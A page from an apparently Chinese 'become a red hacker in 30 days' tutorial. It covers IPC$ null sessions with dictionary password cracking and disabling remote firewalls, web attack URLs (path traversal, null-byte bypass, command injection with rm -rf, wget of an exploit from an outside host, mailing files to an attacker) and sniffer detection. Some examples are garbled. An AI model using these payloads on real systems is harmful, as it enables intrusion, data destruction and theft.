友情提示:如果本网页打开太慢或显示不完整,请尝试鼠标右键“刷新”本网页!
30天打造专业红客-第6部分
快捷操作: 按键盘上方向键 ← 或 → 可快速上下翻页 按键盘上的 Enter 键可回到本书目录页 按键盘上方向键 ↑ 可回到本页顶部! 如果本书没有阅读完,想下次继续接着阅读,可使用上方 "收藏到我的浏览器" 功能 和 "加入书签" 功能!
很多朋友对ipc¥连接的概念很混淆,我在这里罗嗦几句,ipc¥连接分为ipc空连接和带有一定权限ipc连接,这两者可是大大的不一样;许多朋友在建立了空连接之后,就着急的想copy工具上去,这是肯定会报错的,其实这也是很多朋友经常碰到的问题。因为这是空连接,没有任何的权限(就好像匿名访问一样),除了可以得到远程主机的bios信息外,什么命令都执行不了而可以复制文件是你获得了一定的权限后,比如说你得到一个管理员密码是空口令,也就是带有一定权限的ipc连接,空连接只是简单的和远程主机建立了一个通讯的管道。是不是什么用都没有呢?当然不是了,我们可以用暴力破解的方法来得到管理员的密码,就是挂上字典不断地进行对ipc空连接的试探,从而达到取得管理员密码的目的,什么好用你就用什么。到这里我已经对ipc¥空连接和带有一定权限ipc连接有了一个比较清楚的了解。 很多朋友可能会说说了半天也没到重点。别急嘛,就是作为个知识理解也很好嘛
现在我们分析一下会有那些错误
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标Logon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码
我们现在已经了解了ipc失败的原因,我们知道稍微有一点安全意识的网络管理员都会关闭掉共享,不会给你机会用简单的ipc连接进入他的机子,当然也不排除了哈^_^,而如果他屏蔽掉了ipc共享并且开了很少的服务(或者根本禁止了许多可以利用的服务),就算你通过某种方法比如说溢出攻击,得到了权限,进入了系统,这时你添加一个账号也没什么意义。想用ipc连接上传工具,却发现连续的报错,错误1326和错误67比较简单,容易对付。如果碰到对方开了防火墙,也就是(错误67),远程连接不上,我们怎么办呢?这里提供几种办法,
1、杀掉远程主机中的防火墙,如果对方安装了resouce kit 那么我们就可以用tlist 和kill 两个命令来找到并且杀掉防火墙的进程。
2、利用tftp。并不是说有的管理员都安装了resouce kit;那我们怎么办呢?我们知道2000是自带的tftp,我们可以用tftp来上传工具,如tlist 、kill等等,然后关闭防火墙和杀毒软件
3、利用自己的ftp。我们还可以自己驾一个ftp服务器,然后用远程的计算机反过来ftp我们自己的机子,达到上传工具的目的。然后杀掉进程。。。(其实已经没必要了)剩下的就随你的便了。
上面的几种解决办法也只是假设,因为一般的管理员都会想办法禁止windows自带tftp客户端的使用,(具体参阅这篇帖子:http://。91one。/dvbbs/dispbbs。asp?boardid=17&id=1428)这样给我们就有点麻烦。但有时候还是有用的哦
'第13天'80端口攻击总结
我将描述每种攻击的作用,和其怎样利用这些漏洞进行攻击(注意host的意思你应该懂吧)
(1)'。' '。。' 和 '。。。' 请求
这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些'。。'请求。
Example:
http://host/cgi…bin/lame。cgi?file=。。/。。/。。/。。/etc/motd
这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
(2)'%20' 请求
%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
Example:
http://host/cgi…bin/lame。cgi?page=ls%20…al|
这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
(3)'%00' 请求
%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
Examples:
http://host/cgi…bin/lame。cgi?page=index。html
这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
http://host/cgi…bin/lame。cgi?page=。。/。。/。。/。。/etc/motd
也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html。shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
http://host/cgi…bin/lame。cgi?page=。。/。。/。。/。。/etc/motd%00html
注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是我们常用的方法。
(4)'|' 请求
这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
Example:
# cat access_log| grep …i '。。'
(这个命令将显示日志中的“。。“请求,常用于发现我们和蠕虫攻击)
常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。
下面给出一些列子:
http://host/cgi…bin/lame。cgi?page=。。/。。/。。/。。/bin/ls|
这个请求命令执行,下面是一些变化的列子
http://host/cgi…bin/lame。cgi?page=。。/。。/。。/。。/bin/ls%20…al%20/etc|
这个请求在unix系统中列出/etc目录的所有文件
http://host/cgi…bin/lame。cgi?page=cat%20access_log|grep%20…i%20'lame'
这个请求cat命令的执行并且grep命令也将执行,查询出”lame'
(5)';' 请求
在unix系统,这个字符允许多个命令在一行执行
Example:
# id;uname …a
(执行id命令后,紧跟着执行uname命令)
一些web程序用这个字符,可能导致在IDS日志中失败的警告,应该仔细的检查web程序,让IDS警报失败的几率降低
(6)'' 请求
应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
Example 1:
# echo 'your hax0red h0 h0' 》》 /etc/motd (请求写信息在motd这个文件中)
一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。
Example 2:
http://host/something。php=Hi%20mom%20Im%20Bold!
你会注意到这里html语言的标志,同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)
(7)'!'请求
这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。
Example:
http://host1/something。php=
这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
同时,这种方式也可以以web站点的权限执行命令
Example:
http://host/something。php=
这个列子在远程的系统上执行“id'的命令,它将显示这个web站点用户的id,通常是”nobody'或者“'
这种形式也允许包含隐藏文件。
Example:
http://host/something。php=
这个隐藏文件。htpasswd不会被显示出来;Apache建立的规则会拒绝这种以。ht 形式的请求,而SSI标志会绕过这种限制,并导致安全问题
(8)' 这种攻击用于试图在远程的web应用程序中插入PHP程序,它可能允许执行命令,这取决于服务器的设置,和其他起作用的一些因素(比如php设置为安全模式)
Example: http://host/something。php=
在某些简单的php应用程序中,它可能会在远程系统上以web站点用户的权限执行本地命令
(9)'‘' 请求
这种字符后面常用在perl中执行命令,这个字符在web应用程序中不是经常的使用,所以,如果看到它在你的日志中,应该非常小心
Example:
http://host/something。cgi=‘id‘
一个perl写的有问题的cgi程序,会导致执行id命令
下面是针对管理员说的;因为现在很多网管都在看这个;所以我觉得有必要写一点;当然也是让你知道你的对手有哪些着数了;呵呵。我只是罗列了一些攻击后的痕迹;当然不能罗列所有了
'/bin/ls'
这个命令请求整个路径,在很多的web应用程序中都有这个漏洞,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。再一次提醒,写好的web应用程序(cgi;asp;php。。。etc)是安全的基础
Example:
http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/ls%20…al|
http://host/cgi…bin/bad。cgi?doh=ls%20…al;
'cmd。exe'
这是一个windows的shell;一个攻击者如果访问并运行这个脚本,在服务器设置允许的条件下可以在windows机器上做任何事情,很多的蠕虫病毒就是通过80端口,传播到远程的机器上
http://host/scripts/something。asp=。。/。。/WINNT/system32/cmd。exe?dir+e:
'/bin/id'
这是个2进制的文件,它的问题和/bin/ls一样,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。
它将显示属于哪个用户和属于哪个组
Example:
http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/id|
http://host/cgi…bin/bad。cgi?doh=id;
'/bin/rm'
这个命令可以删除文件,如果不正确的使用是非常危险的
Examples:
http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/rm%20…rf%20*|
http://host/cgi…bin/bad。cgi?doh=rm%20…rf%20*;
'wget and tftp' 命令
这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
Examples:
http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/path/to…wget/wget%20http://host2/Phantasmp。c| http://host/cgi…bin/bad。cgi?doh=wget%20http://。hwa…security。/Phantasmp。c;
'cat' 命令
这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件
Examples: http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/cat%20/etc/motd| http://host/cgi…bin/bad。cgi?doh=cat%20/etc/motd;
'echo' 命令
这个命令常用于写数据到文件中,比如“index。html”
Examples: http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/echo%20'fc…#kiwis%20was%20here'%20》》%200day。txt| http://host/cgi…bin/bad。cgi?doh=echo%20'fc…#kiwis%20was%20here'%20》》%200day。txt;
'ps' 命令
列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限
Examples: http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/ps%20…aux| http://host/cgi…bin/bad。cgi?doh=ps%20…aux;
'kill and killall' 命令
在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程
Examples: http://host/cgi…bin/bad。cgi?doh=。。/bin/kill%20…9%200| http://host/cgi…bin/bad。cgi?doh=kill%20…9%200;
'uname' 命令
这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname …a来请求,这些都将记录在日志文件中
Examples: http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/uname%20…a| http://host/cgi…bin/bad。cgi?doh=uname%20…a;
'cc; gcc; perl; python; etc。。。' 编译/解释命令
攻击者通过wget或者tftp下载exploit,并用cc;gcc这样的编译程序进行编译成可执行程序,进一步获得特权
Examples: http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/cc%20Phantasmp。c| http://host/cgi…bin/bad。cgi?doh=gcc%20Phantasmp。c;。/a。out%20…p%2031337;
如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ;python脚本程序,并试图本地获得特权
'mail' 命令
攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击
Examples: http://host/cgi…bin/bad。cgi?doh=。。/。。/。。/。。/bin/mail%20attacker@****cnhonker。org%20《
『第14天』sniffer,今天开始说它了
sniffers(嗅探器)几乎和inter有一样久的历史了。他们是最早的一个允许系统管理员分析网络和查明哪里有错误发生的工具。但是这个工具也给我们带来很大的方便。今天我们看2个问题:1。什么是sniffer 2。如何防止sniffer的监听。似乎是矛盾的哦,呵呵,要2个方面都知道才能百战百胜嘛
什嘛是sniffer (抄定义的)
在单选性网络中; 以太网结构广播至网路上所有的机器; 但是只有预定接受信息包的那台计算机才会响应。 不过网路上其他的计算机同样会〃看到〃这个信息包;但是如果他们不是预定的接受者;他们会排除这个信息包。 当一台计算机上运行着sniffer的时候并且网络处于监听所有信息交通的状态; 那么这台计算机就有能力浏览所有的在网络上通过的信息包。(这个当然很爽了)
那你就有个问题谁使用这个呢?lan/wan 管理员使用sniffers来分析网络信息交通并且找出网络上何处发生问题。一个安全管理员可以同时用多种sniffers; 将它们放置在网络的各处;形成一个入侵警报系统。对于系统管理员来说sniffers是一个非常好的工具,当然还有我们大家了。那常见的sniffers 有哪些呢?很多,我常用的有Sniffer Pro。当然看一些文章介绍了snoop,但注意这是在UNIX下的,我没怎么用 过 ,所以就不说这个了。至于其他一些好用的,我想你学到现在了应该可以自己找了(上GOOGLE 或是BAIDU都可以,不然去。yahoo。也不错的)。
那怎么防止sniffer的监听?
显而易见的;保护网络不受sniffer监听的方法就是不要让它们进入。 如果一个人不能通过你的系统进入的话;那么他们无法安装sniffers。当有人看上一个大多数网络通讯流通的中心区域(防火墙或是代理服务器)时;他们便确定这是他们的攻击目标并将被监视。一些可能的〃受害者〃在服务器的旁边;这时候个人信息将被截获(可能是各种信息甚至是密码)
一个好的方式来保护你的网络不受sniffer监视是将网络用以太网接线器代替普通的集线器分成尽可能多的段。接线器可以分割你的网络通讯并防止每一个系统〃看到〃每个信息包。坏处是这种东西太贵了,这个还是很重要的
另一个方法是;和那种接线器比就是加密术。Sniffer依然可以监视到信息的传送;但是显示的是乱码。但这个有问题就是网络会延迟,当然还有速度问题和使用一个弱加密术比较容易被攻破。
用一些软件也可以帮助你查出是不是有人在监视你,比如AntiSniff(很小的,但可以扫描你的网路并测试一台计算机是否运行在混杂模式(监听网路上每个数据包)什么意思?你看看上面的类容吧),下载:http://。pdasky。。cn/down。asp?id=2876&no=1
『第15天』网络监听技术分析 纯属理论
今天我们先说几个基本概念。首先,我们知道,一台接在以太网内的计算机为了和其他主机进行通讯,在硬件上是需要网卡,在软件上是需要网卡驱动程序的。而每块网卡在出厂时都有一个唯一的不与世界上任何一块网卡重复的硬件地址,称为mac地址。同时,当网络中两台主机在实现tcp/ip通讯时,网卡还必须绑定一个唯一的ip地址。
对我们来说,浏览网页,收发邮件等都是很平常,很简便的工作,其实在后台这些工作是依*tcp/ip协议族实现的,大家知道有两个主要的网络体系:OSI参考模型和TCP/IP参考模型,OSI模型即为通常说的7层协议,它由下向上分别为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层,而tcp/ip模型中去掉了会话层和表示层后,由剩下的5层构成了互联网的基础,在网络的后台默默的工作着。
当局域网内(因为我们最常见的就是局域网)的主机都通过HUB等方式连接时,一般都称为共享式的连接(就是大家长说的共享),这种共享式的连接有一个很明显的特点:就是HUB会将接收到的所有数据向HUB上的每个端口转发,也就是说当主机根据mac地址进行数据包发送时,尽管发送端主机告知了目标主机的地址,但这并不意味着在一个网络内的其他主机听不到发送端和接收端之间的通讯,只是在正常状况下其他主机会忽略这些通讯报文而已!如果这些主机不愿意忽略这些报文,网卡被设置为promiscuous状态的话,那么,对于这台主机的网络接口而言,任何在这个局域网内传输的信息都是可以被听到的。如果网卡被设置为为混杂模式(promiscuous),主机将会默不作声的听到以太网内传输的所有信息,也就是说:窃听也就因此实现了!
对发生在局域网的其他主机上的监听,一直以来,都缺乏很好的检测方法。这是由于产生网络监听行为的主机在工作时总是不做声的收集数据包,几乎不会主动发出任何信息。但可惜的有些大虾们就爱动脑筋啊;现在已经有些方法了
1:反应时间
向怀疑有网络监听行为的网络发送大量垃圾数据包,根据各个主机回应的情况进行判断,正常的系统回应的时间应该没有太明显的变化,而处于混杂模式的系统由于对大量的垃圾信息照单全收,所以很有可能回应时间会发生较大的变化。这个方法很好;但有时候也没用因为大家没经验嘛
2:观测dns
许多的网络监听软件都会尝试进行地址反向解析,在怀疑有网络监听发生时可以在dns系统上观测有没有明显增多的解析请求。没DNS的或者不能接触的就有点郁闷了
3:利用ping模式进行监测
这个方法我不怎么知道;看了一些文章就COPY了一下;有点头晕;但应该能看懂:假设我们怀疑的主机的硬件地址是00:30:6E:00:9B:B9;它的ip地址是192。168。1。1;那么我们现在伪造出这样的一种icmp数据包:硬件地址是不与局域网内任何一台主机相同的00:30:6E:00:9B:9B;目的地址是192。168。1。1不变,我们可以设想一下这种数据包在局域网内传输会发生什么现象:任何正常的主机会检查这个数据包,比较数据包的硬件地址,和自己的不同,于是不会理会这个数据包,而处于网络监听模式的主机呢?由于它的网卡现在是在混杂模式的,所以它不会去对比这个数据包的硬件地址,而是将这个数据包直接传到上层,上层检查数据包的ip地址,符合自己的ip,于是会对对这个ping的包做出回应。这样,一台处于网络监听模式的主机就被发现了。
4:利用arp数据包进行监测
这个方法和上面的差不多;它使用arp数据包替代
快捷操作: 按键盘上方向键 ← 或 → 可快速上下翻页 按键盘上的 Enter 键可回到本书目录页 按键盘上方向键 ↑ 可回到本页顶部!
温馨提示: 温看小说的同时发表评论,说出自己的看法和其它小伙伴们分享也不错哦!发表书评还可以获得积分和经验奖励,认真写原创书评 被采纳为精评可以获得大量金币、积分和经验奖励哦!